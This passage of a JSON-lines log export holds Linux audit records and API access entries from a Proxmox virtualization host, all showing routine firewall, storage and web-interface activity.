exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215911,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966215.911:68955): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66217 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965538683,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:37 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 916"} {"@timestamp":1781964612341,"@rawstring":"node=pve type=EXECVE msg=audit(1781964612.341:61772): argc=3 a0=\"/usr/sbin/unix_chkpwd\" a1=\"root\" a2=\"nullok\""} {"@timestamp":1781965774248,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965774.248:67031): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64376 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966220846,"@rawstring":"node=pve type=EXECVE msg=audit(1781966220.846:68968): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965081713,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965081.713:64082): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61565 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964414604,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:06:53 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 843"} {"@timestamp":1781964215655,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964215.655:60063): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc146740 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57673 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215903,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966215.903:68954): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66216 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965538683,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:25:37 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781964612300,"@rawstring":"node=pve type=EXECVE msg=audit(1781964612.300:61770): argc=3 a0=\"/usr/sbin/unix_chkpwd\" a1=\"root\" a2=\"nullok\""} {"@timestamp":1781965774240,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965774.240:67029): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64375 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966220839,"@rawstring":"node=pve type=EXECVE msg=audit(1781966220.839:68965): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965081713,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965081.713:64081): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61565 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964412582,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:06:51 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1096"} {"@timestamp":1781964215648,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964215.648:60062): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc138ca0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57672 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215899,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966215.899:68953): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=555bf2ae2740 items=0 ppid=1156 pid=66215 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965536821,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:35 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 906"} {"@timestamp":1781964610022,"@rawstring":"node=pve type=EXECVE msg=audit(1781964610.022:61769): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965774240,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965774.240:67028): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64375 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215942,"@rawstring":"node=pve type=EXECVE msg=audit(1781966215.942:68962): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965076706,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965076.706:64079): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61561 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964411598,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:06:50 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 471"} {"@timestamp":1781964214202,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964214.202:60061): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73af400 a1=64f8d73f08a0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=57669 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215896,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966215.896:68952): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0f53f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66215 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965536821,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:35 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 500"} {"@timestamp":1781964610007,"@rawstring":"node=pve type=EXECVE msg=audit(1781964610.007:61766): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965769227,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965769.227:67026): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64374 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215939,"@rawstring":"node=pve type=EXECVE msg=audit(1781966215.939:68961): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965076706,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965076.706:64078): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61561 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964408667,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:06:47 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1096"} {"@timestamp":1781964214165,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964214.165:60060): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73dec00 a1=64f8d73bfab0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=57668 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215890,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966215.890:68951): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc12fbf0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66214 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965536821,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:35 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964608610,"@rawstring":"node=pve type=EXECVE msg=audit(1781964608.610:61761): argc=3 a0=\"/usr/sbin/unix_chkpwd\" a1=\"root\" a2=\"nullok\""} {"@timestamp":1781965769227,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965769.227:67025): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64374 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215939,"@rawstring":"node=pve type=EXECVE msg=audit(1781966215.939:68960): argc=1 a0=\"date\""} {"@timestamp":1781965076697,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965076.697:64076): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61560 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964408667,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:06:47 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 846"} {"@timestamp":1781964213335,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964213.335:60059): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57667 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215884,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966215.884:68950): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc134de0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66213 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965534786,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:34 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1113"} {"@timestamp":1781964608554,"@rawstring":"node=pve type=EXECVE msg=audit(1781964608.554:61759): argc=3 a0=\"/usr/sbin/unix_chkpwd\" a1=\"root\" a2=\"nullok\""} {"@timestamp":1781965769219,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965769.219:67023): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64373 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215934,"@rawstring":"node=pve type=EXECVE msg=audit(1781966215.934:68958): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965076697,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965076.697:64075): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61560 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964407658,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:06:46 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 470"} {"@timestamp":1781964213328,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964213.328:60056): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57666 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215877,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966215.877:68949): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc139f10 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66212 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965534786,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:25:34 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1113"} {"@timestamp":1781964605360,"@rawstring":"node=pve type=EXECVE msg=audit(1781964605.360:61758): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965769219,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965769.219:67022): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64373 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215926,"@rawstring":"node=pve type=EXECVE msg=audit(1781966215.926:68957): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965076238,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965076.238:64038): arch=c000003e syscall=59 success=no exit=-2 a0=5ad6e140fa40 a1=5ad6e37f0400 a2=5ad6ddb05680 a3=b items=1 ppid=61464 pid=61506 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"pve-bridge\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964404626,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:06:43 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1074"} {"@timestamp":1781964208314,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964208.314:60053): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57665 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215869,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966215.869:68948): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0de9a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66211 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965534786,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:25:34 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 503"} {"@timestamp":1781964605357,"@rawstring":"node=pve type=EXECVE msg=audit(1781964605.357:61757): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965765387,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965765.387:67018): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe64aa46d0 a1=569695072410 a2=569695050680 a3=5 items=1 ppid=64366 pid=64367 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215918,"@rawstring":"node=pve type=EXECVE msg=audit(1781966215.918:68956): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965076234,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965076.234:64037): arch=c000003e syscall=59 success=no exit=-2 a0=5ad6e13de6c0 a1=5ad6e37f0400 a2=5ad6ddb05680 a3=b items=1 ppid=61464 pid=61505 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"pve-bridge\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964403612,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:06:42 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 468"} {"@timestamp":1781964208306,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964208.306:60050): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57664 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215864,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966215.864:68947): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ada5c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66210 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965534786,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:33 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 922"} {"@timestamp":1781964605356,"@rawstring":"node=pve type=EXECVE msg=audit(1781964605.356:61756): argc=1 a0=\"date\""} {"@timestamp":1781965765294,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965765.294:67000): arch=c000003e syscall=59 success=no exit=-2 a0=7ffdd525f660 a1=5ee53416eb40 a2=5ee534151680 a3=5 items=1 ppid=64347 pid=64348 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215911,"@rawstring":"node=pve type=EXECVE msg=audit(1781966215.911:68955): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965075849,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965075.849:64029): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc687266c0 a1=5f70d8a401c0 a2=5f70d8a1e680 a3=5 items=1 ppid=61495 pid=61496 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964402610,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:06:41 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 840"} {"@timestamp":1781964205635,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964205.635:60047): arch=c000003e syscall=59 success=yes exit=0 a0=646fc78cdd30 a1=646fc78d9af0 a2=646fc78a7680 a3=5 items=2 ppid=57657 pid=57663 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215856,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966215.856:68946): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66209 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965532961,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:31 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964605352,"@rawstring":"node=pve type=EXECVE msg=audit(1781964605.352:61754): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965764212,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965764.212:66990): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64337 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215903,"@rawstring":"node=pve type=EXECVE msg=audit(1781966215.903:68954): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965075763,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965075.763:64011): arch=c000003e syscall=59 success=no exit=-2 a0=7fffbc571610 a1=58a450a1b410 a2=58a4509f9680 a3=5 items=1 ppid=61476 pid=61477 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964400613,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:06:39 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1074"} {"@timestamp":1781964205633,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964205.633:60046): arch=c000003e syscall=59 success=yes exit=0 a0=646f96916ac8 a1=7ffe0c10a700 a2=646fc78a7680 a3=646f968fa24e items=2 ppid=57657 pid=57659 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215849,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966215.849:68945): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66208 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965532961,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:31 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 507"} {"@timestamp":1781964605346,"@rawstring":"node=pve type=EXECVE msg=audit(1781964605.346:61753): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965764212,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965764.212:66989): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64337 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215896,"@rawstring":"node=pve type=EXECVE msg=audit(1781966215.896:68952): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965072887,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965072.887:63983): arch=c000003e syscall=59 success=no exit=-2 a0=7ffdfadb4090 a1=620c1ddc17f0 a2=620c17225c10 a3=b items=1 ppid=61227 pid=61433 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=7461736B20555049443A7076653A30 exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964399593,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:06:38 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 471"} {"@timestamp":1781964205632,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964205.632:60045): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe0c10a6c0 a1=646fc78c93d0 a2=646fc78a7680 a3=5 items=2 ppid=57657 pid=57658 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" 